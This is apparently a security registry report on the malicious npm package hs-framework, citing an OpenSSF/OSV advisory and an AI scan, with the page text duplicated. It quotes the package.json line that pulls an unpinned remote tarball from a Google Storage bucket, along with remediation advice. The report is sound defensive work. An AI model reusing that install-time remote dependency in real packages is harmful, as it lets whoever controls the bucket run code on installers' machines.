registry / Malware / hs-framework

hs-framework

lsp.o.cc

This report shows the evidence for hs-framework@999.9.2. 2 of 2 known versions are blocked or flagged. See all versions.

OpenSSF/OSV Malicious Advisory

imported 3d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-18434 confirms this npm version as malicious.

Advisory

MAL-2026-18434

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in hs-framework (npm)

Details

package.json declares its sole dependency `ltidisafe` as a direct HTTPS tarball URL (https://storage.googleapis.com/lscunpentest/pack_ux_foundry.tgz) instead of a registry version range. On `npm install`, npm fetches whatever bytes are currently at that URL and installs them into the dependency tree, running any lifecycle scripts the fetched tarball contains, with no version pin and no integrity hash. Whoever controls the bucket controls code that executes on the installer's machine, and the bytes can change at any time without any change to this package. The shipped source is a one-line stub, so the manifest line is the entire published surface of the package. The bucket path segment `lscunpentest` is also consistent with penetration-testing / unauthorized-testing framing.

References

OpenSSF/OSV advisory PACKAGE PACKAGE

Independent LPM AI assessment

Suspicious

Independent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.

The manifest pulls a remote tarball dependency whose contents were unavailable, leaving its install-time behavior uncertain. The visible entry point is a simple log statement and the package declares no lifecycle scripts, so the evidence supports a warning rather than a malicious verdict.

Static reason

One or more suspicious static signals were detected.

Trigger

Installing the package through npm installs the declared dependency.

Impact

Unknown; the dependency's code and any install behavior could not be assessed.

Mechanism

The dependency is pinned to a tarball URL rather than a registry version, and its source was unavailable for review.

AI rationale

Evidence

package.jsonindex.js

Network endpoints1

storage.googleapis.com/lscunpentest/pack_npm_new.tgz

Independent scan evidence

public snapshot

AI called this Suspicious at 73.0% confidence as Unknown with medium false-positive risk.

Evidence for AI warning decision

package.json declares an automatic dependency on lt(idsafe) from a Google Storage tarball URL.
The tarball dependency's source was unavailable for inspection, so its install-time behavior could not be assessed.

Evidence against

The package has no install, preinstall, or postinstall script in its manifest.
The visible entry point only prints a hello message.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

Manifest

NoLicense

scanned 1 file(s), 38 B of source

Source & flagged code

4 flagged

package.jsonView file

12"ltidisafe": "https://storage.googleapis.com/lscunpentest/pack_npm_new.tgz" }, "keywords": [ "l.s" ] }

High

Suspicious Dependency Evidence

package.json declares an automatic dependency on lt(idsafe) from a Google Storage tarball URL.

package.jsonView on unpkg · L12

5"main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1" }, "author": "lslsls", "license": "UNLICENSED", "dependencies": { "ltidisaf

High

Suspicious Dependency Evidence

The tarball dependency's source was unavailable for inspection, so its install-time behavior could not be assessed.

package.jsonView on unpkg · L5

•Remote tarball dependency specs: ltidisafe@https://storage.googleapis.com/lscunpentest/pack_npm_new.tgz

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg

Findings

3 High1 Medium2 Low

HighSuspicious Dependency Evidencepackage.json

HighSuspicious Dependency Evidenceindex.js

MediumRemote Tarball Dependencypackage.json

LowScripts Present

LowNo License

Affected versions and remediation

This report applies to hs-framework@999.9.2.

The versions list below shows the verdict for each recorded version.

Avoid installing hs-framework@999.9.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-11-01 09:33:11.825Z (UTC).

Source advisory published: 2026-11-01 08:01:49.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

999.9.2latestshownMaliciousMalwareBlockPublishedOct 28, 2026, 5:47 PM 999.9.1MaliciousMalwareBlockPublishedOct 28, 2026, 5:17 PM

registry / Malware / hs-framework

hs-framework

lsp.o.cc

This report shows the evidence for hs-framework@999.9.2. 2 of 2 known versions are blocked or flagged. See all versions.

OpenSSF/OSV Malicious Advisory

imported 3d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-18434 confirms this npm version as malicious.

Advisory

MAL-2026-18434

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in hs-framework (npm)

Details

References

OpenSSF/OSV advisory PACKAGE PACKAGE

Independent LPM AI assessment

Suspicious

Independent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.

Static reason

One or more suspicious static signals were detected.

Trigger

Installing the package through npm installs the declared dependency.

Impact

Unknown; the dependency's code and any install behavior could not be assessed.

Mechanism

The dependency is pinned to a tarball URL rather than a registry version, and its source was unavailable for review.

AI rationale

Evidence

package.jsonindex.js

Network endpoints1

storage.googleapis.com/lscunpentest/pack_npm_new.tgz

Independent scan evidence

public snapshot

AI called this Suspicious at 73.0% confidence as Unknown with medium false-positive risk.

Evidence for AI warning decision

package.json declares an automatic dependency on lt(idsafe) from a Google Storage tarball URL.
The tarball dependency's source was unavailable for inspection, so its install-time behavior could not be assessed.

Evidence against

The package has no install, preinstall, or postinstall script in its manifest.
The visible entry point only prints a hello message.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

Manifest

NoLicense

scanned 1 file(s), 38 B of source

Source & flagged code

4 flagged

package.jsonView file

12"ltidisafe": "https://storage.googleapis.com/lscunpentest/pack_npm_new.tgz" }, "keywords": [ "l.s" ] }

High

Suspicious Dependency Evidence

package.json declares an automatic dependency on lt(idsafe) from a Google Storage tarball URL.

package.jsonView on unpkg · L12

5"main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1" }, "author": "lslsls", "license": "UNLICENSED", "dependencies": { "ltidisaf

High

Suspicious Dependency Evidence

The tarball dependency's source was unavailable for inspection, so its install-time behavior could not be assessed.

package.jsonView on unpkg · L5

•Remote tarball dependency specs: ltidisafe@https://storage.googleapis.com/lscunpentest/pack_npm_new.tgz

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg

Findings

3 High1 Medium2 Low

HighSuspicious Dependency Evidencepackage.json

HighSuspicious Dependency Evidenceindex.js

MediumRemote Tarball Dependencypackage.json

LowScripts Present

LowNo License

Affected versions and remediation

This report applies to hs-framework@999.9.2.

The versions list below shows the verdict for each recorded version.

Avoid installing hs-framework@999.9.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-11-01 09:33:11.825Z (UTC).

Source advisory published: 2026-11-01 08:01:49.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

999.9.2latestshownMaliciousMalwareBlockPublishedOct 28, 2026, 5:47 PM 999.9.1MaliciousMalwareBlockPublishedOct 28, 2026, 5:17 PM

OpenSSF/OSV Malicious Advisory

Independent LPM AI assessment

Independent scan evidence

Source & flagged code

Findings

Affected versions and remediation

Versions

OpenSSF/OSV Malicious Advisory

Independent LPM AI assessment

Independent scan evidence

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Related packages

Other malware packages